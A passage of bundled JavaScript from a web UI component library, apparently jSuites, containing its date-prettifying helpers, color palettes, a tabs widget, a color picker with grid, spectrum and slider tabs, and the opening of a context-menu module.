Component.current) { if (e.which == 13) { // ENTER calendar.close(false, true); } else if (e.which == 27) { // ESC calendar.close(false, false); } } } Component.prettify = function (d, texts) { if (!texts) { var texts = { justNow: 'Just now', xMinutesAgo: '{0}m ago', xHoursAgo: '{0}h ago', xDaysAgo: '{0}d ago', xWeeksAgo: '{0}w ago', xMonthsAgo: '{0} mon ago', xYearsAgo: '{0}y ago', } } if (d.indexOf('GMT') === -1 && d.indexOf('Z') === -1) { d += ' GMT'; } var d1 = new Date(); var d2 = new Date(d); var total = parseInt((d1 - d2) / 1000 / 60); String.prototype.format = function (o) { return this.replace('{0}', o); } if (total == 0) { var text = texts.justNow; } else if (total < 90) { var text = texts.xMinutesAgo.format(total); } else if (total < 1440) { // One day var text = texts.xHoursAgo.format(Math.round(total / 60)); } else if (total < 20160) { // 14 days var text = texts.xDaysAgo.format(Math.round(total / 1440)); } else if (total < 43200) { // 30 days var text = texts.xWeeksAgo.format(Math.round(total / 10080)); } else if (total < 1036800) { // 24 months var text = texts.xMonthsAgo.format(Math.round(total / 43200)); } else { // 24 months+ var text = texts.xYearsAgo.format(Math.round(total / 525600)); } return text; } Component.prettifyAll = function () { var elements = document.querySelectorAll('.prettydate'); for (var i = 0; i < elements.length; i++) { if (elements[i].getAttribute('data-date')) { elements[i].innerHTML = Component.prettify(elements[i].getAttribute('data-date')); } else { if (elements[i].innerHTML) { elements[i].setAttribute('title', elements[i].innerHTML); elements[i].setAttribute('data-date', elements[i].innerHTML); elements[i].innerHTML = Component.prettify(elements[i].innerHTML); } } } } Component.now = helpers_date.now; Component.toArray = helpers_date.toArray; Component.dateToNum = helpers_date.dateToNum Component.numToDate = helpers_date.numToDate; Component.weekdays = helpers_date.weekdays; Component.months = helpers_date.months; Component.weekdaysShort = helpers_date.weekdaysShort; Component.monthsShort = helpers_date.monthsShort; // Legacy shortcut Component.extractDateFromString = mask.extractDateFromString; Component.getDateString = mask.getDateString; return Component; } /* harmony default export */ var calendar = (Calendar()); ;// CONCATENATED MODULE: ./src/plugins/palette.js // More palettes https://coolors.co/ or https://gka.github.io/palettes/#/10|s|003790,005647,ffffe0|ffffe0,ff005e,93003a|1|1 function Palette() { var palette = { material: [ ["#ffebee", "#fce4ec", "#f3e5f5", "#e8eaf6", "#e3f2fd", "#e0f7fa", "#e0f2f1", "#e8f5e9", "#f1f8e9", "#f9fbe7", "#fffde7", "#fff8e1", "#fff3e0", "#fbe9e7", "#efebe9", "#fafafa", "#eceff1"], ["#ffcdd2", "#f8bbd0", "#e1bee7", "#c5cae9", "#bbdefb", "#b2ebf2", "#b2dfdb", "#c8e6c9", "#dcedc8", "#f0f4c3", "#fff9c4", "#ffecb3", "#ffe0b2", "#ffccbc", "#d7ccc8", "#f5f5f5", "#cfd8dc"], ["#ef9a9a", "#f48fb1", "#ce93d8", "#9fa8da", "#90caf9", "#80deea", "#80cbc4", "#a5d6a7", "#c5e1a5", "#e6ee9c", "#fff59d", "#ffe082", "#ffcc80", "#ffab91", "#bcaaa4", "#eeeeee", "#b0bec5"], ["#e57373", "#f06292", "#ba68c8", "#7986cb", "#64b5f6", "#4dd0e1", "#4db6ac", "#81c784", "#aed581", "#dce775", "#fff176", "#ffd54f", "#ffb74d", "#ff8a65", "#a1887f", "#e0e0e0", "#90a4ae"], ["#ef5350", "#ec407a", "#ab47bc", "#5c6bc0", "#42a5f5", "#26c6da", "#26a69a", "#66bb6a", "#9ccc65", "#d4e157", "#ffee58", "#ffca28", "#ffa726", "#ff7043", "#8d6e63", "#bdbdbd", "#78909c"], ["#f44336", "#e91e63", "#9c27b0", "#3f51b5", "#2196f3", "#00bcd4", "#009688", "#4caf50", "#8bc34a", "#cddc39", "#ffeb3b", "#ffc107", "#ff9800", "#ff5722", "#795548", "#9e9e9e", "#607d8b"], ["#e53935", "#d81b60", "#8e24aa", "#3949ab", "#1e88e5", "#00acc1", "#00897b", "#43a047", "#7cb342", "#c0ca33", "#fdd835", "#ffb300", "#fb8c00", "#f4511e", "#6d4c41", "#757575", "#546e7a"], ["#d32f2f", "#c2185b", "#7b1fa2", "#303f9f", "#1976d2", "#0097a7", "#00796b", "#388e3c", "#689f38", "#afb42b", "#fbc02d", "#ffa000", "#f57c00", "#e64a19", "#5d4037", "#616161", "#455a64"], ["#c62828", "#ad1457", "#6a1b9a", "#283593", "#1565c0", "#00838f", "#00695c", "#2e7d32", "#558b2f", "#9e9d24", "#f9a825", "#ff8f00", "#ef6c00", "#d84315", "#4e342e", "#424242", "#37474f"], ["#b71c1c", "#880e4f", "#4a148c", "#1a237e", "#0d47a1", "#006064", "#004d40", "#1b5e20", "#33691e", "#827717", "#f57f17", "#ff6f00", "#e65100", "#bf360c", "#3e2723", "#212121", "#263238"], ], fire: [ ["0b1a6d", "840f38", "b60718", "de030b", "ff0c0c", "fd491c", "fc7521", "faa331", "fbb535", "ffc73a"], ["071147", "5f0b28", "930513", "be0309", "ef0000", "fa3403", "fb670b", "f9991b", "faad1e", "ffc123"], ["03071e", "370617", "6a040f", "9d0208", "d00000", "dc2f02", "e85d04", "f48c06", "faa307", "ffba08"], ["020619", "320615", "61040d", "8c0207", "bc0000", "c82a02", "d05203", "db7f06", "e19405", "efab00"], ["020515", "2d0513", "58040c", "7f0206", "aa0000", "b62602", "b94903", "c57205", "ca8504", "d89b00"], ], baby: [ ["eddcd2", "fff1e6", "fde2e4", "fad2e1", "c5dedd", "dbe7e4", "f0efeb", "d6e2e9", "bcd4e6", "99c1de"], ["e1c4b3", "ffd5b5", "fab6ba", "f5a8c4", "aacecd", "bfd5cf", "dbd9d0", "baceda", "9dc0db", "7eb1d5"], ["daa990", "ffb787", "f88e95", "f282a9", "8fc4c3", "a3c8be", "cec9b3", "9dbcce", "82acd2", "649dcb"], ["d69070", "ff9c5e", "f66770", "f05f8f", "74bbb9", "87bfae", "c5b993", "83aac3", "699bca", "4d89c2"], ["c97d5d", "f58443", "eb4d57", "e54a7b", "66a9a7", "78ae9c", "b5a67e", "7599b1", "5c88b7", "4978aa"], ], chart: [ ['#C1D37F', '#4C5454', '#FFD275', '#66586F', '#D05D5B', '#C96480', '#95BF8F', '#6EA240', '#0F0F0E', '#EB8258', '#95A3B3', '#995D81'], ], } var Component = function (o) { // Otherwise get palette value if (palette[o]) { return palette[o]; } else { return palette.material; } } Component.get = function (o) { // Otherwise get palette value if (palette[o]) { return palette[o]; } else { return palette; } } Component.set = function (o, v) { palette[o] = v; } return Component; } /* harmony default export */ var palette = (Palette()); ;// CONCATENATED MODULE: ./src/plugins/tabs.js function Tabs(el, options) { var obj = {}; obj.options = {}; // Default configuration var defaults = { data: [], position: null, allowCreate: false, allowChangePosition: false, onclick: null, onload: null, onchange: null, oncreate: null, ondelete: null, onbeforecreate: null, onchangeposition: null, animation: false, hideHeaders: false, padding: null, palette: null, maxWidth: null, } // Loop through the initial configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Class el.classList.add('jtabs'); var prev = null; var next = null; var border = null; // Helpers var setBorder = function(index) { if (obj.options.animation) { var rect = obj.headers.children[index].getBoundingClientRect(); if (obj.options.palette === 'modern') { border.style.width = rect.width - 4 + 'px'; border.style.left = obj.headers.children[index].offsetLeft + 2 + 'px'; } else { border.style.width = rect.width + 'px'; border.style.left = obj.headers.children[index].offsetLeft + 'px'; } if (obj.options.position === 'bottom') { border.style.top = '0px'; } else { border.style.bottom = '0px'; } } } var updateControls = function(x) { if (typeof(obj.headers.scrollTo) == 'function') { obj.headers.scrollTo({ left: x, behavior: 'smooth', }); } else { obj.headers.scrollLeft = x; } if (x <= 1) { prev.classList.add('disabled'); } else { prev.classList.remove('disabled'); } if (x >= obj.headers.scrollWidth - obj.headers.offsetWidth) { next.classList.add('disabled'); } else { next.classList.remove('disabled'); } if (obj.headers.scrollWidth <= obj.headers.offsetWidth) { prev.style.display = 'none'; next.style.display = 'none'; } else { prev.style.display = ''; next.style.display = ''; } } obj.setBorder = setBorder; // Set value obj.open = function(index) { var previous = null; for (var i = 0; i < obj.headers.children.length; i++) { if (obj.headers.children[i].classList.contains('jtabs-selected')) { // Current one previous = i; } // Remote selected obj.headers.children[i].classList.remove('jtabs-selected'); if (obj.content.children[i]) { obj.content.children[i].classList.remove('jtabs-selected'); } } obj.headers.children[index].classList.add('jtabs-selected'); if (obj.content.children[index]) { obj.content.children[index].classList.add('jtabs-selected'); } if (previous != index && typeof(obj.options.onchange) == 'function') { if (obj.content.children[index]) { obj.options.onchange(el, obj, index, obj.headers.children[index], obj.content.children[index]); } } // Hide if (obj.options.hideHeaders == true && (obj.headers.children.length < 3 && obj.options.allowCreate == false)) { obj.headers.parentNode.style.display = 'none'; } else { // Set border setBorder(index); obj.headers.parentNode.style.display = ''; var x1 = obj.headers.children[index].offsetLeft; var x2 = x1 + obj.headers.children[index].offsetWidth; var r1 = obj.headers.scrollLeft; var r2 = r1 + obj.headers.offsetWidth; if (! (r1 <= x1 && r2 >= x2)) { // Out of the viewport updateControls(x1 - 1); } } } obj.selectIndex = function(a) { var index = Array.prototype.indexOf.call(obj.headers.children, a); if (index >= 0) { obj.open(index); } return index; } obj.rename = function(i, title) { if (! title) { title = prompt('New title', obj.headers.children[i].innerText); } obj.headers.children[i].innerText = title; obj.open(i); } obj.create = function(title, url) { if (typeof(obj.options.onbeforecreate) == 'function') { var ret = obj.options.onbeforecreate(el); if (ret === false) { return false; } else { title = ret; } } var div = obj.appendElement(title); if (typeof(obj.options.oncreate) == 'function') { obj.options.oncreate(el, div) } setBorder(); return div; } obj.remove = function(index) { return obj.deleteElement(index); } obj.nextNumber = function() { var num = 0; for (var i = 0; i < obj.headers.children.length; i++) { var tmp = obj.headers.children[i].innerText.match(/[0-9].*/); if (tmp > num) { num = parseInt(tmp); } } if (! num) { num = 1; } else { num++; } return num; } obj.deleteElement = function(index) { if (! obj.headers.children[index]) { return false; } else { obj.headers.removeChild(obj.headers.children[index]); obj.content.removeChild(obj.content.children[index]); } obj.open(0); if (typeof(obj.options.ondelete) == 'function') { obj.options.ondelete(el, index) } } obj.appendElement = function(title, cb) { if (! title) { var title = prompt('Title?', ''); } if (title) { // Add content var div = document.createElement('div'); obj.content.appendChild(div); // Add headers var h = document.createElement('div'); h.innerHTML = title; h.content = div; obj.headers.insertBefore(h, obj.headers.lastChild); // Sortable if (obj.options.allowChangePosition) { h.setAttribute('draggable', 'true'); } // Open new tab obj.selectIndex(h); // Callback if (typeof(cb) == 'function') { cb(div, h); } // Return element return div; } } obj.getActive = function() { for (var i = 0; i < obj.headers.children.length; i++) { if (obj.headers.children[i].classList.contains('jtabs-selected')) { return i } } return 0; } obj.updateContent = function(position, newContent) { if (typeof newContent !== 'string') { var contentItem = newContent; } else { var contentItem = document.createElement('div'); contentItem.innerHTML = newContent; } if (obj.content.children[position].classList.contains('jtabs-selected')) { newContent.classList.add('jtabs-selected'); } obj.content.replaceChild(newContent, obj.content.children[position]); setBorder(); } obj.updatePosition = function(f, t) { // Ondrop update position of content if (f > t) { obj.content.insertBefore(obj.content.children[f], obj.content.children[t]); } else { obj.content.insertBefore(obj.content.children[f], obj.content.children[t].nextSibling); } // Open destination tab obj.open(t); // Call event if (typeof(obj.options.onchangeposition) == 'function') { obj.options.onchangeposition(obj.headers, f, t); } } obj.move = function(f, t) { if (f > t) { obj.headers.insertBefore(obj.headers.children[f], obj.headers.children[t]); } else { obj.headers.insertBefore(obj.headers.children[f], obj.headers.children[t].nextSibling); } obj.updatePosition(f, t); } obj.setBorder = setBorder; obj.init = function() { el.innerHTML = ''; // Make sure the component is blank obj.headers = document.createElement('div'); obj.content = document.createElement('div'); obj.headers.classList.add('jtabs-headers'); obj.content.classList.add('jtabs-content'); if (obj.options.palette) { el.classList.add('jtabs-modern'); } else { el.classList.remove('jtabs-modern'); } // Padding if (obj.options.padding) { obj.content.style.padding = parseInt(obj.options.padding) + 'px'; } // Header var header = document.createElement('div'); header.className = 'jtabs-headers-container'; header.appendChild(obj.headers); if (obj.options.maxWidth) { header.style.maxWidth = parseInt(obj.options.maxWidth) + 'px'; } // Controls var controls = document.createElement('div'); controls.className = 'jtabs-controls'; controls.setAttribute('draggable', 'false'); header.appendChild(controls); // Append DOM elements if (obj.options.position == 'bottom') { el.appendChild(obj.content); el.appendChild(header); } else { el.appendChild(header); el.appendChild(obj.content); } // New button if (obj.options.allowCreate == true) { var add = document.createElement('div'); add.className = 'jtabs-add'; add.onclick = function() { obj.create(); } controls.appendChild(add); } prev = document.createElement('div'); prev.className = 'jtabs-prev'; prev.onclick = function() { updateControls(obj.headers.scrollLeft - obj.headers.offsetWidth); } controls.appendChild(prev); next = document.createElement('div'); next.className = 'jtabs-next'; next.onclick = function() { updateControls(obj.headers.scrollLeft + obj.headers.offsetWidth); } controls.appendChild(next); // Data for (var i = 0; i < obj.options.data.length; i++) { // Title if (obj.options.data[i].titleElement) { var headerItem = obj.options.data[i].titleElement; } else { var headerItem = document.createElement('div'); } // Icon if (obj.options.data[i].icon) { var iconContainer = document.createElement('div'); var icon = document.createElement('i'); icon.classList.add('material-icons'); icon.innerHTML = obj.options.data[i].icon; iconContainer.appendChild(icon); headerItem.appendChild(iconContainer); } // Title if (obj.options.data[i].title) { var title = document.createTextNode(obj.options.data[i].title); headerItem.appendChild(title); } // Width if (obj.options.data[i].width) { headerItem.style.width = obj.options.data[i].width; } // Content if (obj.options.data[i].contentElement) { var contentItem = obj.options.data[i].contentElement; } else { var contentItem = document.createElement('div'); contentItem.innerHTML = obj.options.data[i].content; } obj.headers.appendChild(headerItem); obj.content.appendChild(contentItem); } // Animation border = document.createElement('div'); border.className = 'jtabs-border'; obj.headers.appendChild(border); if (obj.options.animation) { el.classList.add('jtabs-animation'); } // Events obj.headers.addEventListener("click", function(e) { if (e.target.parentNode.classList.contains('jtabs-headers')) { var target = e.target; } else { if (e.target.tagName == 'I') { var target = e.target.parentNode.parentNode; } else { var target = e.target.parentNode; } } var index = obj.selectIndex(target); if (typeof(obj.options.onclick) == 'function') { obj.options.onclick(el, obj, index, obj.headers.children[index], obj.content.children[index]); } }); obj.headers.addEventListener("contextmenu", function(e) { obj.selectIndex(e.target); }); if (obj.headers.children.length) { // Open first tab obj.open(0); } // Update controls updateControls(0); if (obj.options.allowChangePosition == true) { Sorting(obj.headers, { direction: 1, ondrop: function(a,b,c) { obj.updatePosition(b,c); }, }); } if (typeof(obj.options.onload) == 'function') { obj.options.onload(el, obj); } } // Loading existing nodes as the data if (el.children[0] && el.children[0].children.length) { // Create from existing elements for (var i = 0; i < el.children[0].children.length; i++) { var item = obj.options.data && obj.options.data[i] ? obj.options.data[i] : {}; if (el.children[1] && el.children[1].children[i]) { item.titleElement = el.children[0].children[i]; item.contentElement = el.children[1].children[i]; } else { item.contentElement = el.children[0].children[i]; } obj.options.data[i] = item; } } // Remote controller flag var loadingRemoteData = false; // Create from data if (obj.options.data) { // Append children for (var i = 0; i < obj.options.data.length; i++) { if (obj.options.data[i].url) { ajax({ url: obj.options.data[i].url, type: 'GET', dataType: 'text/html', index: i, success: function(result) { obj.options.data[this.index].content = result; }, complete: function() { obj.init(); } }); // Flag loading loadingRemoteData = true; } } } if (! loadingRemoteData) { obj.init(); } el.tabs = obj; return obj; } ;// CONCATENATED MODULE: ./src/plugins/color.js function Color(el, options) { // Already created, update options if (el.color) { return el.color.setOptions(options, true); } // New instance var obj = { type: 'color' }; obj.options = {}; var container = null; var backdrop = null; var content = null; var resetButton = null; var closeButton = null; var tabs = null; var jsuitesTabs = null; /** * Update options */ obj.setOptions = function(options, reset) { /** * @typedef {Object} defaults * @property {(string|Array)} value - Initial value of the compontent * @property {string} placeholder - The default instruction text on the element * @property {requestCallback} onchange - Method to be execute after any changes on the element * @property {requestCallback} onclose - Method to be execute when the element is closed * @property {string} doneLabel - Label for button done * @property {string} resetLabel - Label for button reset * @property {string} resetValue - Value for button reset * @property {Bool} showResetButton - Active or note for button reset - default false */ var defaults = { placeholder: '', value: null, onopen: null, onclose: null, onchange: null, closeOnChange: true, palette: null, position: null, doneLabel: 'Done', resetLabel: 'Reset', fullscreen: false, opened: false, } if (! options) { options = {}; } if (options && ! options.palette) { // Default palette options.palette = palette(); } // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { if (typeof(obj.options[property]) == 'undefined' || reset === true) { obj.options[property] = defaults[property]; } } } // Update the text of the controls, if they have already been created if (resetButton) { resetButton.innerHTML = obj.options.resetLabel; } if (closeButton) { closeButton.innerHTML = obj.options.doneLabel; } // Update the pallete if (obj.options.palette && jsuitesTabs) { jsuitesTabs.updateContent(0, table()); } // Value if (typeof obj.options.value === 'string') { el.value = obj.options.value; if (el.tagName === 'INPUT') { el.style.color = el.value; el.style.backgroundColor = el.value; } } // Placeholder if (obj.options.placeholder) { el.setAttribute('placeholder', obj.options.placeholder); } else { if (el.getAttribute('placeholder')) { el.removeAttribute('placeholder'); } } return obj; } obj.select = function(color) { // Remove current selected mark var selected = container.querySelector('.jcolor-selected'); if (selected) { selected.classList.remove('jcolor-selected'); } // Mark cell as selected if (obj.values[color]) { obj.values[color].classList.add('jcolor-selected'); } obj.options.value = color; } /** * Open color pallete */ obj.open = function() { if (! container.classList.contains('jcolor-focus')) { // Start tracking Tracking(obj, true); // Show color picker container.classList.add('jcolor-focus'); // Select current color if (obj.options.value) { obj.select(obj.options.value); } // Reset margin content.style.marginTop = ''; content.style.marginLeft = ''; var rectContent = content.getBoundingClientRect(); var availableWidth = helpers.getWindowWidth(); var availableHeight = helpers.getWindowHeight(); if (availableWidth < 800 || obj.options.fullscreen == true) { content.classList.add('jcolor-fullscreen'); animation.slideBottom(content, 1); backdrop.style.display = 'block'; } else { if (content.classList.contains('jcolor-fullscreen')) { content.classList.remove('jcolor-fullscreen'); backdrop.style.display = ''; } if (obj.options.position) { content.style.position = 'fixed'; } else { content.style.position = ''; } if (rectContent.left + rectContent.width > availableWidth) { content.style.marginLeft = -1 * (rectContent.left + rectContent.width - (availableWidth - 20)) + 'px'; } if (rectContent.top + rectContent.height > availableHeight) { content.style.marginTop = -1 * (rectContent.top + rectContent.height - (availableHeight - 20)) + 'px'; } } if (typeof(obj.options.onopen) == 'function') { obj.options.onopen(el, obj); } jsuitesTabs.setBorder(jsuitesTabs.getActive()); // Update sliders if (obj.options.value) { var rgb = HexToRgb(obj.options.value); rgbInputs.forEach(function(rgbInput, index) { rgbInput.value = rgb[index]; rgbInput.dispatchEvent(new Event('input')); }); } } } /** * Close color pallete */ obj.close = function(ignoreEvents) { if (container.classList.contains('jcolor-focus')) { // Remove focus container.classList.remove('jcolor-focus'); // Make sure backdrop is hidden backdrop.style.display = ''; // Call related events if (! ignoreEvents && typeof(obj.options.onclose) == 'function') { obj.options.onclose(el, obj); } // Stop the object Tracking(obj, false); } return obj.options.value; } /** * Set value */ obj.setValue = function(color) { if (! color) { color = ''; } if (color != obj.options.value) { obj.options.value = color; slidersResult = color; // Remove current selecded mark obj.select(color); // Onchange if (typeof(obj.options.onchange) == 'function') { obj.options.onchange(el, color, obj); } // Changes if (el.value != obj.options.value) { // Set input value el.value = obj.options.value; if (el.tagName === 'INPUT') { el.style.color = el.value; el.style.backgroundColor = el.value; } // Element onchange native if (typeof(el.oninput) == 'function') { el.oninput({ type: 'input', target: el, value: el.value }); } } if (obj.options.closeOnChange == true) { obj.close(); } } } /** * Get value */ obj.getValue = function() { return obj.options.value; } var backdropClickControl = false; // Converts a number in decimal to hexadecimal var decToHex = function(num) { var hex = num.toString(16); return hex.length === 1 ? "0" + hex : hex; } // Converts a color in rgb to hexadecimal var rgbToHex = function(r, g, b) { return "#" + decToHex(r) + decToHex(g) + decToHex(b); } // Converts a number in hexadecimal to decimal var hexToDec = function(hex) { return parseInt('0x' + hex); } // Converts a color in hexadecimal to rgb var HexToRgb = function(hex) { return [hexToDec(hex.substr(1, 2)), hexToDec(hex.substr(3, 2)), hexToDec(hex.substr(5, 2))] } var table = function() { // Content of the first tab var tableContainer = document.createElement('div'); tableContainer.className = 'jcolor-grid'; // Cells obj.values = []; // Table pallete var t = document.createElement('table'); t.setAttribute('cellpadding', '7'); t.setAttribute('cellspacing', '0'); for (var j = 0; j < obj.options.palette.length; j++) { var tr = document.createElement('tr'); for (var i = 0; i < obj.options.palette[j].length; i++) { var td = document.createElement('td'); var color = obj.options.palette[j][i]; if (color.length < 7 && color.substr(0,1) !== '#') { color = '#' + color; } td.style.backgroundColor = color; td.setAttribute('data-value', color); td.innerHTML = ''; tr.appendChild(td); // Selected color if (obj.options.value == color) { td.classList.add('jcolor-selected'); } // Possible values obj.values[color] = td; } t.appendChild(tr); } // Append to the table tableContainer.appendChild(t); return tableContainer; } // Canvas where the image will be rendered var canvas = document.createElement('canvas'); canvas.width = 200; canvas.height = 160; var context = canvas.getContext("2d"); var resizeCanvas = function() { // Specifications necessary to correctly obtain colors later in certain positions var m = tabs.firstChild.getBoundingClientRect(); canvas.width = m.width - 14; gradient() } var gradient = function() { var g = context.createLinearGradient(0, 0, canvas.width, 0); // Create color gradient g.addColorStop(0, "rgb(255,0,0)"); g.addColorStop(0.15, "rgb(255,0,255)"); g.addColorStop(0.33, "rgb(0,0,255)"); g.addColorStop(0.49, "rgb(0,255,255)"); g.addColorStop(0.67, "rgb(0,255,0)"); g.addColorStop(0.84, "rgb(255,255,0)"); g.addColorStop(1, "rgb(255,0,0)"); context.fillStyle = g; context.fillRect(0, 0, canvas.width, canvas.height); g = context.createLinearGradient(0, 0, 0, canvas.height); g.addColorStop(0, "rgba(255,255,255,1)"); g.addColorStop(0.5, "rgba(255,255,255,0)"); g.addColorStop(0.5, "rgba(0,0,0,0)"); g.addColorStop(1, "rgba(0,0,0,1)"); context.fillStyle = g; context.fillRect(0, 0, canvas.width, canvas.height); } var hsl = function() { var element = document.createElement('div'); element.className = "jcolor-hsl"; var point = document.createElement('div'); point.className = 'jcolor-point'; var div = document.createElement('div'); div.appendChild(canvas); div.appendChild(point); element.appendChild(div); // Moves the marquee point to the specified position var update = function(buttons, x, y) { if (buttons === 1) { var rect = element.getBoundingClientRect(); var left = x - rect.left; var top = y - rect.top; if (left < 0) { left = 0; } if (top < 0) { top = 0; } if (left > rect.width) { left = rect.width; } if (top > rect.height) { top = rect.height; } point.style.left = left + 'px'; point.style.top = top + 'px'; var pixel = context.getImageData(left, top, 1, 1).data; slidersResult = rgbToHex(pixel[0], pixel[1], pixel[2]); } } // Applies the point's motion function to the div that contains it element.addEventListener('mousedown', function(e) { update(e.buttons, e.clientX, e.clientY); }); element.addEventListener('mousemove', function(e) { update(e.buttons, e.clientX, e.clientY); }); element.addEventListener('touchmove', function(e) { update(1, e.changedTouches[0].clientX, e.changedTouches[0].clientY); }); return element; } var slidersResult = ''; var rgbInputs = []; var changeInputColors = function() { if (slidersResult !== '') { for (var j = 0; j < rgbInputs.length; j++) { var currentColor = HexToRgb(slidersResult); currentColor[j] = 0; var newGradient = 'linear-gradient(90deg, rgb('; newGradient += currentColor.join(', '); newGradient += '), rgb('; currentColor[j] = 255; newGradient += currentColor.join(', '); newGradient += '))'; rgbInputs[j].style.backgroundImage = newGradient; } } } var sliders = function() { // Content of the third tab var slidersElement = document.createElement('div'); slidersElement.className = 'jcolor-sliders'; var slidersBody = document.createElement('div'); // Creates a range-type input with the specified name var createSliderInput = function(name) { var inputContainer = document.createElement('div'); inputContainer.className = 'jcolor-sliders-input-container'; var label = document.createElement('label'); label.innerText = name; var subContainer = document.createElement('div'); subContainer.className = 'jcolor-sliders-input-subcontainer'; var input = document.createElement('input'); input.type = 'range'; input.min = 0; input.max = 255; input.value = 0; inputContainer.appendChild(label); subContainer.appendChild(input); var value = document.createElement('div'); value.innerText = input.value; input.addEventListener('input', function() { value.innerText = input.value; }); subContainer.appendChild(value); inputContainer.appendChild(subContainer); slidersBody.appendChild(inputContainer); return input; } // Creates red, green and blue inputs rgbInputs = [ createSliderInput('Red'), createSliderInput('Green'), createSliderInput('Blue'), ]; slidersElement.appendChild(slidersBody); // Element that prints the current color var slidersResultColor = document.createElement('div'); slidersResultColor.className = 'jcolor-sliders-final-color'; var resultElement = document.createElement('div'); resultElement.style.visibility = 'hidden'; resultElement.innerText = 'a'; slidersResultColor.appendChild(resultElement) // Update the element that prints the current color var updateResult = function() { var resultColor = rgbToHex(parseInt(rgbInputs[0].value), parseInt(rgbInputs[1].value), parseInt(rgbInputs[2].value)); resultElement.innerText = resultColor; resultElement.style.color = resultColor; resultElement.style.removeProperty('visibility'); slidersResult = resultColor; } // Apply the update function to color inputs rgbInputs.forEach(function(rgbInput) { rgbInput.addEventListener('input', function() { updateResult(); changeInputColors(); }); }); slidersElement.appendChild(slidersResultColor); return slidersElement; } var init = function() { // Initial options obj.setOptions(options); // Add a proper input tag when the element is an input if (el.tagName == 'INPUT') { el.classList.add('jcolor-input'); el.readOnly = true; } // Table container container = document.createElement('div'); container.className = 'jcolor'; // Table container backdrop = document.createElement('div'); backdrop.className = 'jcolor-backdrop'; container.appendChild(backdrop); // Content content = document.createElement('div'); content.className = 'jcolor-content'; // Controls var controls = document.createElement('div'); controls.className = 'jcolor-controls'; content.appendChild(controls); // Reset button resetButton = document.createElement('div'); resetButton.className = 'jcolor-reset'; resetButton.innerHTML = obj.options.resetLabel; controls.appendChild(resetButton); // Close button closeButton = document.createElement('div'); closeButton.className = 'jcolor-close'; closeButton.innerHTML = obj.options.doneLabel; controls.appendChild(closeButton); // Element that will be used to create the tabs tabs = document.createElement('div'); content.appendChild(tabs); // Starts the jSuites tabs component jsuitesTabs = Tabs(tabs, { animation: true, data: [ { title: 'Grid', contentElement: table(), }, { title: 'Spectrum', contentElement: hsl(), }, { title: 'Sliders', contentElement: sliders(), } ], onchange: function(element, instance, index) { if (index === 1) { resizeCanvas(); } else { var color = slidersResult !== '' ? slidersResult : obj.getValue(); if (index === 2 && color) { var rgb = HexToRgb(color); rgbInputs.forEach(function(rgbInput, index) { rgbInput.value = rgb[index]; rgbInput.dispatchEvent(new Event('input')); }); } } }, palette: 'modern', }); container.appendChild(content); // Insert picker after the element if (el.tagName == 'INPUT') { el.parentNode.insertBefore(container, el.nextSibling); } else { el.appendChild(container); } container.addEventListener("click", function(e) { if (e.target.tagName == 'TD') { var value = e.target.getAttribute('data-value'); if (value) { obj.setValue(value); } } else if (e.target.classList.contains('jcolor-reset')) { obj.setValue(''); obj.close(); } else if (e.target.classList.contains('jcolor-close')) { if (jsuitesTabs.getActive() > 0) { obj.setValue(slidersResult); } obj.close(); } else if (e.target.classList.contains('jcolor-backdrop')) { obj.close(); } else { obj.open(); } }); /** * If element is focus open the picker */ el.addEventListener("mouseup", function(e) { obj.open(); }); // If the picker is open on the spectrum tab, it changes the canvas size when the window size is changed window.addEventListener('resize', function() { if (container.classList.contains('jcolor-focus') && jsuitesTabs.getActive() == 1) { resizeCanvas(); } }); // Default opened if (obj.options.opened == true) { obj.open(); } // Change el.change = obj.setValue; // Global generic value handler el.val = function(val) { if (val === undefined) { return obj.getValue(); } else { obj.setValue(val); } } // Keep object available from the node el.color = obj; // Container shortcut container.color = obj; } obj.toHex = function(rgb) { var hex = function(x) { return ("0" + parseInt(x).toString(16)).slice(-2); } if (rgb) { if (/^#[0-9A-F]{6}$/i.test(rgb)) { return rgb; } else { rgb = rgb.match(/^rgb\((\d+),\s*(\d+),\s*(\d+)\)$/); if (rgb && rgb.length) { return "#" + hex(rgb[1]) + hex(rgb[2]) + hex(rgb[3]); } else { return ""; } } } } init(); return obj; } ;// CONCATENATED MODULE: ./src/plugins/contextmenu.js function Contextmenu() { var Component = function(el, options) { // New instance var obj = {type: 'contextmenu'}; obj.options = {}; // Default configuration var defaults = { items: null, onclick: null, }; // Loop through our object for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } // Class definition el.classList.add('jcontextmenu'); /** * Open contextmenu */ obj.open = function (e, items) { if (items) { // Update content obj.options.items = items; // Create items obj.create(items); } // Close current contextmenu if (Component.current) { Component.current.close(); } // Add to the opened components monitor Tracking(obj, true); // Show context menu el.classList.add('jcontextmenu-focus'); // Current Component.current = obj; // Coordinates if ((obj.options.items && obj.options.items.length > 0) || el.children.length) { if (e.target) { if (e.changedTouches && e.changedTouches[0]) { x = e.changedTouches[0].clientX; y = e.changedTouches[0].clientY; } else { var x = e.clientX; var y = e.clientY; } } else { var x = e.x; var y = e.y; } var rect = el.getBoundingClientRect(); if (window.innerHeight < y + rect.height) { var h = y - rect.height; if (h < 0) { h = 0; } el.style.top = h + 'px'; } else { el.style.top = y + 'px'; } if (window.innerWidth < x + rect.width) { if (x - rect.width > 0) { el.style.left = (x - rect.width) + 'px'; } else { el.style.left = '10px'; } } else { el.style.left = x + 'px'; } } } obj.isOpened = function () { return el.classList.contains('jcontextmenu-focus') ? true : false; } /** * Close menu */ obj.close = function () { if (el.classList.contains('jcontextmenu-focus')) { el.classList.remove('jcontextmenu-focus'); } Tracking(obj, false); } /** * Create items based on the declared objectd * @param {object} items - List of object */ obj.create = function (items) { // Update content el.innerHTML = ''; // Add header contextmenu var itemHeader = createHeader(); el.appendChild(itemHeader); // Append items for (var i = 0; i < items.length; i++) { var itemContainer = createItemElement(items[i]); el.appendChild(itemContainer); } } /** * createHeader for context menu * @private * @returns {HTMLElement} */ function createHeader() { var header = document.createElement('div'); header.classList.add("header"); header.addEventListener("click", function (e) { e.preventDefault(); e.stopPropagation(); }); var title = document.createElement('a'); title.classList.add("title"); title.innerHTML = dictionary.translate("Menu"); header.appendChild(title); var closeButton = document.createElement('a'); closeButton.classList.add("close"); closeButton.innerHTML = dictionary.translate("close"); 